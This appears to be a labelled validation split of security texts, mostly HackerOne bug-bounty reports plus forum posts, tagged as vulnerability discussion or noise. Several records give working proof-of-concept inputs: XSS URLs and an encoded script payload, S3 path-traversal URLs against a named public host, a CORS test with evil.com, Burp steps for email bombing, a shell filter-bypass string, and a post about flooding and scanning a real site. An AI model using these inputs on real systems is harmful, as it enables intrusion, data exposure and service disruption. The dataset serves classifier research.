-{"id": "f652d2ee22d9efd88591", "text": "[Cross-site Scripting (XSS) - Generic] XSS in Desktop Client in the notifications\n\n## Summary:\nThe `Nextcloud Desktop Client` application does not properly neutralize the names of files before using them.\n\n## Steps To Reproduce:\n\n### Server Machine\n1. Install the `Nextcloud Server` application\n2. Log into your account\n\n### Client Machine\n3. Install the `Nextcloud Desktop Client` application onto a machine that is running the `Windows 10` operating system\n4. Log into your account\n\n### Server Machine\n5. Upload any file to your `Nextcloud Server` instance\n6. Rename the file that you uploaded to `<h1><b><i><u>MikeIsAStar`\n\n### Client Machine\n7. Wait until a notification appears exclaiming that some files could not synchronized\n8. Open the main dialog window of the `Nextcloud Desktop Client` application\n9. Observe that the name of the file that you uploaded is treated as `HyperText Markup Language`\n\n## Supporting Material/References:\n{F1864812}\n\n## Impact\n\nAn attacker can inject arbitrary `HyperText Markup Language` into the `Nextcloud Desktop Client` application.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f5e5ccb706590638d6a2", "text": "[Information Disclosure] Unauthenticated Private Messages DIsclosure via wordpress Rest API\n\nVulnearble Plugin: Senei LMS\n\nHi there,\nHope you are doing well,\nSo, i noticed that their is an option to contact teacher on Sensei LMS which is meant to private.\nBy default, other user can't see the question I asked to the teacher.\nBut using the  `/wp-json/wp/v2/sensei-messages/<numericID>` where numeric ID can be bruteforced.\nThose private questions asked to teacher is still visible to any Unauthenticated User.\n{F1754958}\n\nSteps to reproduce:\nCreate any course then as a student, ask question on that course.\nNow, the message is visible through `/wp-json/wp/v2/sensei-messages/<numericID>` \nSensei LMS lacks authentication in a REST API endpoint, allowing unauthenticated users to discover private questions sent between teacher and student on the site.\n\n## Impact\n\nDisclosure of Private Questions to Unauthenticated User.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ff1863cd46ff1351f0a1", "text": "[Cleartext Storage of Sensitive Information] username and password leaked via pptx for █████████ website\n\n**Description:**\n\nWhile performing my recon, I can accross this https://███/███████ which contain username and password for accessing your asset here █████\n████\n\n## References:\n███████\n\n## Impact\n\nI tried accessing the ip but it is not working here, I f it can be accessed somewhere this will result in full account takeover via leaked credentials\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to https://██████/█████████ .\n2. Download the powerpoin slide.\n3. You will see the leaked credentials\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ea28a137dcf2b4cfd18f", "text": "[Improper Access Control - Generic] Sub-Domain Takeover at   http://www.codefi.consensys.net/\n\nSummary:\n \nSubdomain takeovers:\n\nA subdomain takeover occurs when an attacker gains control over a subdomain of a target domain. Typically, this happens when the subdomain has a canonical name (CNAME) in the Domain Name System (DNS), but no host is providing content for it. This can happen because either a virtual host hasn't been published yet or a virtual host has been removed. An attacker can take over that subdomain by providing their own virtual host and then hosting their own content for it.\n\nIf an attacker can do this, they can potentially read cookies set from the main domain, perform cross-site scripting, or circumvent content security policies, thereby enabling them to capture protected information (including logins) or send malicious content to unsuspecting users.\n\n Steps To Reproduce:\n\n  1. GO to http://consensys.net and find its sub-domains using Subfinder.\n  1. now find sub-domains status code.\n  1. Search for 404 code.\n 4.  its showing :- \nDomain Not Claimed\nThis domain has been mapped to Squarespace, but it has not yet been claimed by a website. If this is your domain, claim it in the Domains tab of your Website Manager.\n5. now create a account at Squarespace, create a website template and then go to use a domain i own.\n 6. then copy and paste http://www.codefi.consensys.net/  and  boom sub-domain takeover completed.\n\nSupporting Material/References:\n\nPOC is attached below.\n\n\n How to prevent it ?\n\nPreventing subdomain takeovers is a matter of order of operations in lifecycle management for virtual hosts and DNS. Depending on the size of the organization, this may require communication and coordination across multiple departments, which can only increase the likelihood for a vulnerable misconfiguration.\n\nDefine standard processes for provisioning and deprovisioning hosts. Do all steps as closely together as possible.\nStart provisioning by claiming the virtual host; create DNS records last.\nStart deprovisioning by removing DNS records first.\nCreate an inventory of all of your organization's domains and their hosting providers, and update it as things change, to ensure that nothing is left dangling.\n\n## Impact\n\nRisks of a Subdomain Takeover:-\n\nVarious risks could be the result of a subdomain takeover.\n\n1. Bypassing CSRF protection\n2. Phishing\n3. Leak of OAuth 2.0 Tokens\n4. The redirect is only performed if the target URL is trusted. If all subdomains are trusted as target URL, an attacker might be able to get OAuth 2.0 tokens via a target URL which points to a compromised subdomain.\n5. Bypass Content Security Policy\n6. A, AAAA and CNAME Records", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bbc4ac32944a0d624902", "text": "[Path Traversal] fix(security):Path Traversal Bug\n\nUnsanitized input from CLI argument flows into `io.ioutil.ReadFile`, where it is used as a path. This may result in a Path Traversal vulnerability and allow an attacker to read arbitrary files.\n\nSee this fix : https://github.com/hyperledger/fabric/pull/3573\n\n## Impact\n\nThere is a path traversal vulnerability in the source code of fabric", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0674b900968eaac06d6e", "text": "How to gain experience in web pentesting?\n\nHI guys. I know how to do web pentest theoretically but I don’t have a experience about it. I mean I have worked with just vulnerable machines not real web sites. So what do you recommend me. I don’t even know how to write a report. Where should I start ?", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-10-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c5685bcba8dd4d492aad", "text": "[Improper Certificate Validation] Undici does not use CONNECT or otherwise validate upstream HTTPS certificates when using a proxy\n\n**Summary:** When using Undici with its ProxyAgent, it does not use CONNECT or correctly verify the upstream server's HTTPS certificate.\n\n**Description:**\n\nThis affects both Undici itself and global fetch() in Node 18 when used with Undici's ProxyAgent. I've submitted this here for Node as it affects global fetch, and Undici isn't listed in the options (even though Undici's SECURITY.md says to report issues the same way as Node issues: https://github.com/nodejs/undici/blob/main/SECURITY.md)\n\nSome context is required to explain the issue so this is quite long, sorry!\n\nIn general, given a setup like:\n\nUndici client -> proxy.example -> remote-server.example\n\nThere's two possible ways to use the proxy server: you can send CONNECT to create a tunnel to the remote server, and then make a request within that tunnel (setting up TLS in the tunnel first, if making an HTTPS request) or you can make a request with an absolute URL like \"GET http://remote-server.example/abc\" to the proxy server, and expect that proxy to connect upstream and make the request for you.\n\nThe former CONNECT approach is far more common. Using the latter form is rare for plain HTTP and should _never_ be used for HTTPS: it exposes all request & response data to the proxy, delegates all upstream certificate trust handling to the proxy, and additionally if the connection to the proxy is plain HTTP then it unwraps and exposes all HTTPS traffic on the network between the proxy & client, sending all HTTPS data in plain text.\n\nUsing CONNECT meanwhile would mean that HTTPS connections are secure even when sent via plain-text HTTP proxies (only the target domain is exposed to observers, and it cannot be usefully modified). This has meant that plaintext-only HTTP proxies remain common today, even in the modern HTTPS-only world, just providing dumb tunnels that are secured independently.\n\nTo make this work, what should normally happen when proxying HTTPS traffic to remote-server.example via proxy.example is:\n\n* Undici connects to proxy.example (via HTTP or HTTPS - depends on the proxy setup, but either is basically fine)\n* Undici sends \"CONNECT remote-server.example:443\" to the proxy server\n* The proxy server connects to that address\n* The proxy server responds to Undici with 200 OK, and then all future bytes are passed raw between Undici & the remote server\n* Undici does normal TLS setup through this tunnel with the remote server, validating the certificate as normal.\n* Once TLS is set up, Undici makes an HTTP request inside the TLS connection, inside the proxy tunnel.\n\nThis means that nobody on the network path between Undici and the remote server (including the proxy, and anybody else en route) can see or modify the HTTP request or response. https://en.wikipedia.org/wiki/HTTP_tunnel#HTTP_CONNECT_method has more details, as does the RFC: https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.6.\n\nThat's how it should work. In practice, Undici's implementation (https://github.com/nodejs/undici/blob/main/lib/proxy-agent.js) appears to just send \"GET https://remote-server.example\" to the proxy (i.e. it just makes all URLs absolute, and then redirects the connection to the proxy instead of the real server).\n\nThis means Undici never verifies the remote server's certificate itself, and always exposes all request & response data to the proxy. This unexpectedly means that proxies can MitM all HTTPS traffic, and if the proxy's URL is HTTP (http://proxy.example) then it also means that nominally HTTPS requests are actually sent via in plain-text HTTP between Undici and the proxy server.\n\nThis also creates other major bugs too, for example when connecting to a proxy via HTTPS, it seems like the proxy's certificate is verified against the remote server's domain name, not the proxy's domain name, which makes HTTPS proxying unusable in most (all?) cases. This is a related bug which does not expose users to danger (it just breaks things) but I suspec", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "25a19f7c56e966872047", "text": "[Unknown] [Java]: CWE-200 - Query to detect insecure WebResourceResponse implementation\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "01fa5fdfc5dccffe8a10", "text": "[Cleartext Storage of Sensitive Information] internal dev tokens disclosure\n\nsnapchat has made Keydb as opensource but its development repo on github is leaking too much internal sensitive data in commits history which should not be a good idea to be revealed in open source project.\nsuch as https://github.com/Snapchat/KeyDB/commit/157b32109854f947843366f66215ccf90809e766\n```\n[Dockerfile](https://github.sc-corp.net/Snapchat/keydb-internal/github-action-runner-docker/Dockerfile). \n3. Take the token from that script. Should be in \"Configure\" section: \n    ``` \n    ./config.sh --url https://github.com/EQ-Alpha/KeyDB --token ████\n```\n██████\n\n## Impact\n\ninternal dev sensitive information disclosed publicaly\nfor example PAT token i pasted above", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bc702e5973adec01f8e8", "text": "[Unknown] Java: Regex injection\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0a795b05f27ef7364619", "text": "Can you possibly help me too? I’ve been battling with this for days. So far I’ve discovered that all the operands except && are blocked (ie. ; | \\n) A sub shell is possible and ${PATH:0:1} works for /. However, LS_COLORS doesn’t exist so I can’t get a ; from that. I’ve tried 877915113.txt$(tr${IFS}‘!-}’${IFS}‘\"-~’<<<:) to try and get a ; - I don’t get a Malicious error, I just get “Error While Moving:” and no filename or anything further. Right now I’m just trying to execute the ls command, but I’m getting nowhere. I feel like there is something simple I’m missing?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a96d6f34f9b78a768815", "text": "[Cross-site Scripting (XSS) - Reflected] reflected xss in https://wordpress.com/start/account/user\n\n## Summary:\nxss after login at https://wordpress.com/start/account/user?variationName=free&redirect_to=javascript:alert(document.domain)\n\n## Platform(s) Affected:\nweb\n\n## Steps To Reproduce:\n\n  1. auth normally\n  1. go to https://wordpress.com/start/account/user?variationName=free&redirect_to=javascript:alert(document.domain) **while already authenticated** and click continue\n  1. xss procs\n\n## Supporting Material/References:\n\n█████\n\n## Impact\n\nXSS can be used to steal cookies, modify html content, and much more", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "da25de3533b8940c7560", "text": "[Unknown] No rate Limit on Password Reset page on upchieve\n\n## Summary:\nIntroduction\nA little bit about Rate Limit:\nA rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache.\nIn case a client made too many requests within a given timeframe, HTTP-Servers can respond with status code 429: Too Many Requests.\n## Description:-\nI have identified that when Forgetting Password for account , the request has no rate limit which then can be used to loop through one request. Which can be annoying to the root users sending mass password to one email.\n\n## Steps To Reproduce:\n\nStep 1 - Go To This Link  https://app.upchieve.org/resetpassword\nEnter Email Click On  Password reset\nStep 2- Intercept This Request In Burp And Forward Till You Found Your Number In Request Like {\"email\":\"your email here\"}\nPOST /auth/reset/send HTTP/1.1\nHost: app.upchieve.org\nConnection: close\nContent-Length: 33\nsec-ch-ua: \";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"\ntracestate: 2674974@nr=0-1-2674974-429165133-b9956c2e6b3639e7----1629976379525\ntraceparent: 00-e7350f9e341fa39e254aa02c0f122da0-b9956c2e6b3639e7-01\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36\nnewrelic: eyJ2IjpbMCwxXSwiZCI6eyJ0eSI6IkJyb3dzZXIiLCJhYyI6IjI2NzQ5NzQiLCJhcCI6IjQyOTE2NTEzMyIsImlkIjoiYjk5NTZjMmU2YjM2MzllNyIsInRyIjoiZTczNTBmOWUzNDFmYTM5ZTI1NGFhMDJjMGYxMjJkYTAiLCJ0aSI6MTYyOTk3NjM3OTUyNX19\nContent-Type: application/json;charset=UTF-8\nAccept: application/json, text/plain, /\nX-Requested-With: XMLHttpRequest\nOrigin: https://app.upchieve.org\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nCookie: connect.sid=s%3AkYhTVAV6Oj2QjvpjuTv3wJ1zKt5ufbMJ.uk31xcaQ3wYhGhW5ENHODg%2BPAi%2F%2BXR8DRmrBGOtAAv0; _gcl_au=1.1.1255782218.1629976051; __cf_bm=b5af105528eef748000d008d193bda0737ac24eb-1629975748-1800-AcBqcZPRoF1OJRXniCl5v9UBOoadddugz8c4P3RSHhLOz92UsACn7wdtKq3E0xUEGHhdTt6W8MlhhmtWaHQtIM+EBAomTYnbZ9ZxfnFt+BpeqOfbbOQYmCGhspVzU4fAzCaC1Bun8/SDKAkqHRkD/Dw=; _ga=GA1.2.238689867.1629976053; _gid=GA1.2.344859836.1629976053; _gat_gtag_UA_133171872_1=1; ph_JRMZGA_RF-346IQfReUvbuoVD3Q94BM7Jij8Nk4dQbA_posthog=%7B%22distinct_id%22%3A%226125176260945b0022963f91%22%2C%22%24device_id%22%3A%2217b8224bdc1b90-0dfb1b4a415c87-53e3566-1fa400-17b8224bdc2dd5%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%2C%22%24session_recording_enabled%22%3Atrue%2C%22%24active_feature_flags%22%3A%5B%5D%2C%22%24sesid%22%3A%5B1629976379518%2C%2217b8224c6b14ef-0de7d34a9af7ee-53e3566-1fa400-17b8224c6b2ea5%22%5D%2C%22%24user_id%22%3A%226125176260945b0022963f91%22%7D\n\n{\"email\":\"testgokulab@gmail.com\"}\nStep 3- Now Send This Request To Intruder And Repeat It 100 Time By Fixing 150 Null payloads.\n\nStep 4 - See You Will Get 200 ok Status Code & many Email In Your INBOX\nSee It Is Resulting In Mass Mailing Or Email Bombing To Your Users Which Is Bad For Business Impact.\n\n\n## Recommendations for Fixing/Mitigation\n\nI Will Recommend You To Add A ReCaptcha & Sort Of Something Which Requires Manual Human Interaction To Proceed Like You Can Add Captcha Like 2+2=_ so that it cannot be brute forced and you also can have a limit at the backend for particular number upto 5 times a day user can request Forget Password Email or Link something like that will prevent you from someone exploiting this vulnerability\n\n## Impact\n\nImpact\nIf You Are Using Any Email Service Software API Or Some Tool Which Costs You For Your Email This Type Of Attack Can Result You In Financial Lose And It Can Also Slow Down Your Services It Can Take Bulk Of Storage In Sent Mail Although If Users Are Affected By This Vulnerability They Can Stop Using Your Services Which Can Lead To Business Risk", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3d39cbbbdfa0b2a255a7", "text": "[Improper Authentication - Generic] Rate limit is implemented in Reddit , but its not working .\n\n## Summary:\nIt is a vulnerability which can prove to be critical when misused by attackers ,rate limit is a flaw that doesn't limit the no. of attempts one makes on a website server. this vulnerability makes the website more susceptible to brute force the username while keeping the password constant that is ,, <same password>:<diff. username>,\n secondly it also make susceptible to brute force the <diff. username>:<diff. password>. Please refer to my Conclusion below:\n\n## Impact:\nNo rate limit means their is no mechanism to protect against the requests you made in a short frame of time . Hence the hacker can brute force the Login page of Reddit , he may also gain easy access to user accounts , it has a lot of chances to flood the server with lot of requests\n\n## Steps To Reproduce:\n\n  1. NOTE : as we know we are not allowed to brute force , therefore i generated 20 random accounts and did manual login as well as few automated logins. \n \nI CAME TO CONCLUSION :\n\nMECHANISM OF RATE LIMIT ON REDDIT##\n\n1.SAME USERNAME DIFF PASS: RATE LIMIT IS WORKING\n\n2.DIFF USERNAME , SAME PASS : RATE LIMIT IS  NOT WORKING\n3.REDDIT IS NOT RESTRICTING THE IP ADDRESS , NEITHER THERE IS TIME DELAY IN MAKING REQUEST\n4.DIFFERENT USERNAME , DIFF PASS AREN'T RESTTRICTED , CAN DEFINATELY LEAD TO DDOS OR BRUTEFORCE ATTACK\n\n## Impact\n\nthis vulnerability making the website more susceptible to brute force which may also lead to gaining unauthorized access to users account.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "283ab771efb286dded99", "text": "[Unknown] Privilege Esacalation at Apache Airflow 2.5.1\n\nHello. I found security issue about airflow's log file. \n\nAirflow 2.5.1 sets log files to vulnerable privileges.  (chmod 666)\n\nAny Linux user on the host on which the airflow operates can read and tamper with the airflow's logs.\n\nTaking advantage of this, an attacker in local host can retrieve sensitive information from a Linux host that can only access airflow accounts.  ** (This is privilege escaltion from any linux account to airflow's linux account) **\n(ex : ssh private key)\n\n** The attack conditions are as follows. **\n1. An attacker can log in to a host running airflow with a specific Linux account.\n(Or the penetration test was successfully successful.)\n\n2. An attacker can log in to the airflow web server and can read the dag log.\n\n** The attack procedure is as follows.  **\n\n1. After deleting a specific dag log using any account, the attacker regenerates the log file using the ssh private key of the account that runs the airflow as a symbolic link.\n{F2171182}\n\n2. The attacker logs in to the airflow webserver and reads the log.\n{F2171186}\n\n\n3. The airflow logs expose SSH PRIVATE KEY.\n\n{F2171190}\n\n\n\n## Patch History \n- https://github.com/apache/airflow/pull/29506\n- This vulnerability has been allocated CVE-2023-25754 by Apache Security Team.\n\n## Impact\n\nLocal linux user can access any file like ssh private key which owned by account which operate airflow.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-25754"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8f6f104d27178eb45a6f", "text": "[Improper Authentication - Generic] Client side authentication leads to Auth Bypass\n\nHi Team\n\nI have found  that to access the data of endpoint ```https://████████/███/?#/``` as user has to submit a password/passphrase.\nWhen we provide wrong password then we get and error message asked to get pass assistance message  ```Contact ████ for password assistance.``` \nAfter analyzing the JS file I found that when correct password is provide a parameter is set in the localstorage \"███████:true\"\n\n## Impact\n\nAuth bypass lead to sensitive data exposer like phone number, email id etc.\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Visit https://███/█████/?#/\n2. Set a new parameter in local storage name ```█████``` and value ```true```\n3. Reload the page\n\n█████\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0354a6f27e343069fc5e", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS in OAuth complete endpoints\n\n## Summary:\nThe following endpoints are vulnerable to reflected XSS:\n```\nGET /oauth/{service:[A-Za-z0-9]+}/complete\nGET /api/v3/oauth/{service:[A-Za-z0-9]+}/complete\nGET /signup/{service:[A-Za-z0-9]+}/complete\nGET /login/{service:[A-Za-z0-9]+}/complete\n```\n\nThe vulnerability exists due to the lack of sanitizing `redirect_to` field in `state` query param [here](https://github.com/mattermost/mattermost-server/blob/c114aba628e06e726aa1b5d9f3736d1fd154594c/web/oauth.go#L287-L288).\n\n## Steps To Reproduce:\n\n  1. Setup local mattermost instance e.g. on address [http://localhost:8065](http://localhost:8065) ([server guide](https://developers.mattermost.com/contribute/server/developer-setup/), [webapp guide](https://developers.mattermost.com/contribute/webapp/developer-setup/))\n  1. Enable gitlab auth at Enable gitlab auth at [http://localhost:8065/admin_console/authentication/gitlab](http://localhost:8065/admin_console/authentication/gitlab). (There may be other ways to enable OAuth, this one seemed the easiest to me)\n  1. Open the following link: [http://mattermost:8065/login/gitlab/complete?code=x&state=eyJhY3Rpb24iOiJtb2JpbGUiLCJyZWRpcmVjdF90byI6InRlc3RcIj48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4ifQ==](http://mattermost:8065/login/gitlab/complete?code=x&state=eyJhY3Rpb24iOiJtb2JpbGUiLCJyZWRpcmVjdF90byI6InRlc3RcIj48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4ifQ==). This link contains base64-encoded payload in `state` param: `{\"action\":\"mobile\",\"redirect_to\":\"test\\\"><script>alert(document.domain)</script>\"}`\n  1. Get javascript alert with current domain.\n\n## Impact\n\nAn attacker can distribute a link in a chat with malicious javascript code. This code can send ajax requests on behalf of the user.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "668c85b3be3845d3cc1f", "text": "[Improper Access Control - Generic] File Read Vulnerability allows Attackers to Compromise S3 buckets using Prow\n\n## Summary:\nI found a vulnerability where AWS Prow allows users to sign the base path of S3 buckets that Prow is using. When this happens an attacker views every file in the S3 bucket and then can sign that endpoint to view the file. This vulnerability type allows attackers to dump the contents of the entire S3 production bucket for each company which may have more than just Prow server logs.\n## Component Version:\nLatest\n\n## Steps To Reproduce:\n\n1 - I'm just going to use this public instance of Prow I found as example. I found this vulnerability while conducting a penetration test for a private program so I cannot disclose those details.\n\n```\nhttps://prow.falco.org\n```\n\n2 - So on this site the vulnerable endpoint is here.\n\n```\nhttps://prow.falco.org/job-history/s3/falco-prow-logs/%2e%3f\n```\n\n{F1624608}\n## Supporting Material/References:\n\n\n3 - Prow only expects to load log text files and appends a `/latest.txt` to the end of S3 URLs to be signed. By specifying `/.` we are getting the base URL of the bucket which lists every file and by using an encoded question mark we comment out the `/latest.txt` section. So, the URL to sign looks like this `s3://falco-prow-logs/.?/latest.txt` which signs the base path and dumps the entire private bucket details. Additionally, this technique can be used to read any file in the bucket.\n```\nhttps://prow.falco.org/job-history/s3/falco-prow-logs/any.valid.file%3f\n```\n\n## Impact\n\nDump production data in companies S3 buckets that use Prow. Additionally, find old log files that are no longer specified in the instance GUI.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e362dc0076d3a711986b", "text": "[Violation of Secure Design Principles] CORS Misconfiguration\n\nVulnerable Url: www.█████████\nSummary: Cross-origin resource sharing (CORS) is a browser mechanism that enables controlled access to resources located outside of a given domain. However, it also provides a potential for cross-domain-based attacks, if a website's CORS policy is poorly configured and implemented. CORS can be exploited to trust any arbitrary domain attacker-controlled domain name and send the data to it.  Attackers can make an exploit and ask the domain to send data of the victim to the attacker domain.\nSeverity:  High  \n\nAs you can see when we run the above request in Burp Suite.\n\nAccess-Control-Allow-Origin: evil.com\nAccess-Control-Allow-Credentials: true\n\nComplexity: Easy \n\nFrom : Remote / External\n\n\n## References\nhttps://owasp.org/www-community/attacks/CORS_OriginHeaderScrutiny\nhttps://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/\nhttps://en.wikipedia.org/wiki/Cross-origin_resource_sharing\nhttps://developer.mozilla.org/en-US/docs/Web/HTTP/CORS\n\n## Impact\n\nAn Adversary can carry out a CORS attack to exfiltrate the sensitive details of a victim.\n\n## System Host(s)\nwww.████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Enter the domain name https://www.██████████ and add /wp-json after the url.\n2. Intercept the request and add Origin header, type evil.com in it and send the request.\n3. Use the exploit code given in the text file and save it as filename.html.\n\n## Suggested Mitigation/Remediation Actions\nAll the REST Apis should be authenticated and the domain should not trust any other domains. Allow only selected, trusted domains in the Access-Control-Allow-Origin header.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4982ef87315c637b4a50", "text": "Nmap analysis on kali by being annonymous\n\nHello, I am new to the pen test. I have slight knowledge in network and system, title pro sys and network… so slight knowledge in routing, osi model and a bit of linux but I forgot a lot. -So I wanted to attempt a flood and penetration on a test site. which is weird to access the ip I ping the site and tracert I get an ip that goes from 96 to 97 on the penultimate byte during my floods. However when I type the ip on the internet browser I come across a cloudfare page (I imagine the cloud server that hosts the site?). So is it still effective when trying to flood via metasploit? The site remains very active so I imagine that there is a minimum of security (I had made one at a time via ufw 3 months ago for the anti back). -Furthermore, during an nmap it is sometimes noted that all the ports are in ignored state!!!??? but then how is it possible that the site is accessible on the internet!? For example I can have during my first nmap results of ports but during the second scan there is nothing more detected: ──(root㉿kali)-[~] └─# proxychains nmap 188.114.97.* [proxychains] config file found: /etc/proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-25 22:19 CEST Nmap scan report for 188.114.97.* Host is up (0.016s latency). Not shown: 996 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 443/tcp open https 8080/tcp open http-proxy 8443/tcp open https-alt Nmap done: 1 IP address (1 host up) scanned in 53.07 seconds ┌──(root㉿kali)-[~] └─# proxychains nmap -sV 188.114.97.* [proxychains] config file found: /etc/proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-25 22:21 CEST Nmap scan report for 188.114.97.$ Host is up (0.0020s latency). All 1000 scanned ports on 188.114.97.* are in ignored states. Not shown: 1000 filtered tcp ports (no-response) Service detection performed. Please report any incorrect results at Nmap OS/Service Fingerprint and Correction Submission Page . Nmap done: 1 IP address (1 host up) scanned in 11.49 seconds -Finally, it s weird, with “nmap -sV” without typing ‘‘proxychians’’ first on the other ip adress, i found service “tcpwrapped” but i didn’t found any vulnerabilitie on metasploit. Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-24 18:40 CEST Nmap scan report for davidduke.com (188.114.96. ) Host is up (0.013s latency). Other addresses for davidduke.com (not scanned): 188.114.97. **06:98c1:3120> Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open tcpwrapped 443/tcp open tcpwrapped 8080/tcp open tcpwrapped Service detection performed. Please report any incorrect results at https://> Nmap done: 1 IP address (1 host up) scanned in 72.63 seconds Thanks. sorry english is not my mothertongue.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-07-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
